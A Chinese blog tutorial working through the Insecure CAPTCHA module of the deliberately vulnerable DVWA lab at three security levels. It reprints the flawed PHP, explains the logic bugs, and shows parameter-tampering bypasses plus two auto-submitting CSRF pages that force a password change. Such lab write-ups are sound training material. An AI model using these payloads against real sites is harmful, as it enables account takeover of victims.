• DVWA-全等级验证码Insecure CAPTCHA


    DVWA简介

    DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。

    DVWA共有十个模块,分别是Brute Force(暴力(破解))、Command Injection(命令行注入)、CSRF(跨站请求伪造)、File Inclusion(文件包含)、File Upload(文件上传)、Insecure CAPTCHA(不安全的验证码)、SQL Injection(SQL注入)、SQL Injection(Blind)(SQL盲注)、XSS(Reflected)(反射型跨站脚本)、XSS(Stored)(存储型跨站脚本)。

    需要注意的是,DVWA 1.9的代码分为四种安全级别:Low,Medium,High,Impossible。初学者可以通过比较四种级别的代码,接触到一些PHP代码审计的内容。

    Insecure CAPTCHA

    Insecure CAPTCHA,意思是不安全的验证码,CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称。但个人觉得,这一模块的内容叫做不安全的验证流程更妥当些,因为这块主要是验证流程出现了逻辑漏洞,谷歌的验证码表示不背这个锅。

    reCAPTCHA验证流程

    这一模块的验证码使用的是Google提供reCAPTCHA服务,下图是验证的具体流程。

     服务器通过调用recaptcha_check_answer函数检查用户输入的正确性。

    recaptcha_check_answer($privkey,$remoteip, $challenge,$response)

    参数$privkey是服务器申请的private key,$remoteip是用户的ip,$challenge是recaptcha_challenge_field字段的值,来自前端页面 ,$response是recaptcha_response_field字段的值。函数返回ReCaptchaResponse class的实例,ReCaptchaResponse类有2个属性 :

    $is_valid是布尔型的,表示校验是否有效,

    $error是返回的错误代码。

    在正式开始之前,我们进入这个模块,可能会遇到不能正常显示的情况。

    百度报错信息,需要在配置文件中加入谷歌的密钥:

     $_DVWA[ 'recaptcha_public_key' ]  = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';
    $_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';

    密钥可以去谷歌去生成,但是需要翻墙,这里就直接用的网上的。

    LOW级别:
    代码:

    <?php 
    
    if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { 
        // Hide the CAPTCHA form 
        $hide_form = true; 
    
        // Get input 
        $pass_new  = $_POST[ 'password_new' ]; 
        $pass_conf = $_POST[ 'password_conf' ]; 
    
        // Check CAPTCHA from 3rd party 
        $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], 
            $_SERVER[ 'REMOTE_ADDR' ], 
            $_POST[ 'recaptcha_challenge_field' ], 
            $_POST[ 'recaptcha_response_field' ] ); 
    
        // Did the CAPTCHA fail? 
        if( !$resp->is_valid ) { 
            // What happens when the CAPTCHA was entered incorrectly 
            $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; 
            $hide_form = false; 
            return; 
        } 
        else { 
            // CAPTCHA was correct. Do both new passwords match? 
            if( $pass_new == $pass_conf ) { 
                // Show next stage for the user 
                echo " 
                    <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> 
                    <form action="#" method="POST"> 
                        <input type="hidden" name="step" value="2" /> 
                        <input type="hidden" name="password_new" value="{$pass_new}" /> 
                        <input type="hidden" name="password_conf" value="{$pass_conf}" /> 
                        <input type="submit" name="Change" value="Change" /> 
                    </form>"; 
            } 
            else { 
                // Both new passwords do not match. 
                $html     .= "<pre>Both passwords must match.</pre>"; 
                $hide_form = false; 
            } 
        } 
    } 
    
    if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { 
        // Hide the CAPTCHA form 
        $hide_form = true; 
    
        // Get input 
        $pass_new  = $_POST[ 'password_new' ]; 
        $pass_conf = $_POST[ 'password_conf' ]; 
    
        // Check to see if both password match 
        if( $pass_new == $pass_conf ) { 
            // They do! 
            $pass_new = mysql_real_escape_string( $pass_new ); 
            $pass_new = md5( $pass_new ); 
    
            // Update database 
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
            $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 
    
            // Feedback for the end user 
            echo "<pre>Password Changed.</pre>"; 
        } 
        else { 
            // Issue with the passwords matching 
            echo "<pre>Passwords did not match.</pre>"; 
            $hide_form = false; 
        } 
    
        mysql_close(); 
    } 
    
    ?> 

     可以看到,服务器将改密操作分成了两步,第一步检查用户输入的验证码,验证通过后,服务器返回表单,第二步客户端提交post请求,服务器完成更改密码的操作。但是,这其中存在明显的逻辑漏洞,服务器仅仅通过检查Changestep 参数来判断用户是否已经输入了正确的验证码。

    漏洞利用1:

    通过构造参数绕过验证过程:

    首先输入新的密码,然后change之后再抓包:

     

     (ps:因为没有翻墙,所以没能成功显示验证码,发送的请求包中也就没有recaptcha_challenge_field、recaptcha_response_field两个参数)

    更改step参数绕过验证码:

     修改密码成功:

     漏洞利用2:由于没有任何的防CSRF机制,我们可以轻易地构造攻击页面,页面代码如下

    <html>      
    
    <body onload="document.getElementById('transfer').submit()">        
    
      <div>    
    
        <form method="POST" id="transfer" action="http://192.168.5.100/dvwa/vulnerabilities/captcha/">     
    
            <input type="hidden" name="password_new" value="password">
    
            <input type="hidden" name="password_conf" value="password">     
    
            <input type="hidden" name="step" value="2"      
    
            <input type="hidden" name="Change" value="Change">        
    
        </form>        
    
      </div>        
    
    </body>
    
    </html>

    当受害者访问这个页面时,攻击脚本会伪造改密请求发送给服务器。但是受害者会看到更改密码成功的界面(这是因为修改密码成功后,服务器会返回302,实现自动跳转),从而意识到自己遭到了攻击。

    Medium

    代码:

    <?php 
    
    if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { 
        // Hide the CAPTCHA form 
        $hide_form = true; 
    
        // Get input 
        $pass_new  = $_POST[ 'password_new' ]; 
        $pass_conf = $_POST[ 'password_conf' ]; 
    
        // Check CAPTCHA from 3rd party 
        $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], 
            $_SERVER[ 'REMOTE_ADDR' ], 
            $_POST[ 'recaptcha_challenge_field' ], 
            $_POST[ 'recaptcha_response_field' ] ); 
    
        // Did the CAPTCHA fail? 
        if( !$resp->is_valid ) { 
            // What happens when the CAPTCHA was entered incorrectly 
            $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; 
            $hide_form = false; 
            return; 
        } 
        else { 
            // CAPTCHA was correct. Do both new passwords match? 
            if( $pass_new == $pass_conf ) { 
                // Show next stage for the user 
                echo " 
                    <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> 
                    <form action="#" method="POST"> 
                        <input type="hidden" name="step" value="2" /> 
                        <input type="hidden" name="password_new" value="{$pass_new}" /> 
                        <input type="hidden" name="password_conf" value="{$pass_conf}" /> 
                        <input type="hidden" name="passed_captcha" value="true" /> 
                        <input type="submit" name="Change" value="Change" /> 
                    </form>"; 
            } 
            else { 
                // Both new passwords do not match. 
                $html     .= "<pre>Both passwords must match.</pre>"; 
                $hide_form = false; 
            } 
        } 
    } 
    
    if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { 
        // Hide the CAPTCHA form 
        $hide_form = true; 
    
        // Get input 
        $pass_new  = $_POST[ 'password_new' ]; 
        $pass_conf = $_POST[ 'password_conf' ]; 
    
        // Check to see if they did stage 1 
        if( !$_POST[ 'passed_captcha' ] ) { 
            $html     .= "<pre><br />You have not passed the CAPTCHA.</pre>"; 
            $hide_form = false; 
            return; 
        } 
    
        // Check to see if both password match 
        if( $pass_new == $pass_conf ) { 
            // They do! 
            $pass_new = mysql_real_escape_string( $pass_new ); 
            $pass_new = md5( $pass_new ); 
    
            // Update database 
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
            $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 
    
            // Feedback for the end user 
            echo "<pre>Password Changed.</pre>"; 
        } 
        else { 
            // Issue with the passwords matching 
            echo "<pre>Passwords did not match.</pre>"; 
            $hide_form = false; 
        } 
    
        mysql_close(); 
    } 
    
    ?> 

    可以看到,Medium级别的代码在第二步验证时,参加了对参数passed_captcha的检查,如果参数值为true,则认为用户已经通过了验证码检查,然而用户依然可以通过伪造参数绕过验证,本质上来说,这与Low级别的验证没有任何区别。

    修改密码抓包:

     改包:增加passed_captcha参数,绕过验证码。

     更改密码成功:

     漏洞利用2:同样也可以使用CSRF攻击界面在方式:

    <html>       
    
    <body onload="document.getElementById('transfer').submit()">       
    
      <div>      
    
        <form method="POST" id="transfer" action="http://192.168.5.100/dvwa/vulnerabilities/captcha/">       
    
            <input type="hidden" name="password_new" value="password">
    
            <input type="hidden" name="password_conf" value="password">        
    
            <input type="hidden" name="passed_captcha" value="true">        
    
            <input type="hidden" name="step" value="2">       
    
            <input type="hidden" name="Change" value="Change">        
    
        </form>        
    
      </div>
    
    </body>        
    
    </html>

    High:

    代码:

    <?php 
    
    if( isset( $_POST[ 'Change' ] ) ) { 
        // Hide the CAPTCHA form 
        $hide_form = true; 
    
        // Get input 
        $pass_new  = $_POST[ 'password_new' ]; 
        $pass_conf = $_POST[ 'password_conf' ]; 
    
        // Check CAPTCHA from 3rd party 
        $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], 
            $_SERVER[ 'REMOTE_ADDR' ], 
            $_POST[ 'recaptcha_challenge_field' ], 
            $_POST[ 'recaptcha_response_field' ] ); 
    
        // Did the CAPTCHA fail? 
        if( !$resp->is_valid && ( $_POST[ 'recaptcha_response_field' ] != 'hidd3n_valu3' || $_SERVER[ 'HTTP_USER_AGENT' ] != 'reCAPTCHA' ) ) { 
            // What happens when the CAPTCHA was entered incorrectly 
            $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; 
            $hide_form = false; 
            return; 
        } 
        else { 
            // CAPTCHA was correct. Do both new passwords match? 
            if( $pass_new == $pass_conf ) { 
                $pass_new = mysql_real_escape_string( $pass_new ); 
                $pass_new = md5( $pass_new ); 
    
                // Update database 
                $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;"; 
                $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 
    
                // Feedback for user 
                echo "<pre>Password Changed.</pre>"; 
            } 
            else { 
                // Ops. Password mismatch 
                $html     .= "<pre>Both passwords must match.</pre>"; 
                $hide_form = false; 
            } 
        } 
    
        mysql_close(); 
    } 
    // Generate Anti-CSRF token 
    generateSessionToken(); 
    
    ?> 

    可以看到,服务器的验证逻辑是当$resp(这里是指谷歌返回的验证结果)是false,并且参数g-recaptcha-response不等于hidd3n_valu3(或者http包头的User-Agent参数不等于reCAPTCHA)时,就认为验证码输入错误,反之则认为已经通过了验证码的检查。

    漏洞利用:$resp参数我们无法控制,所以重心放在参数g-recaptcha-responseUser-Agent上。

    抓包拿到数据:

    更改参数g-recaptcha-response以及http包头的User-Agent:

    修改成功:

     

  • 相关阅读:
    Redis 分布式锁
    Angular VS Blzaor
    Chorme 跨域的快捷解决
    旋转3角形
    .Netcore AD 操作
    .Netcore 2.2 和3.1 的模板
    Command3
    CSS Selector
    弹性盒子
    Label_strange_labels
  • 原文地址:https://www.cnblogs.com/hzk001/p/12259059.html
Copyright © 2020-2023  润新知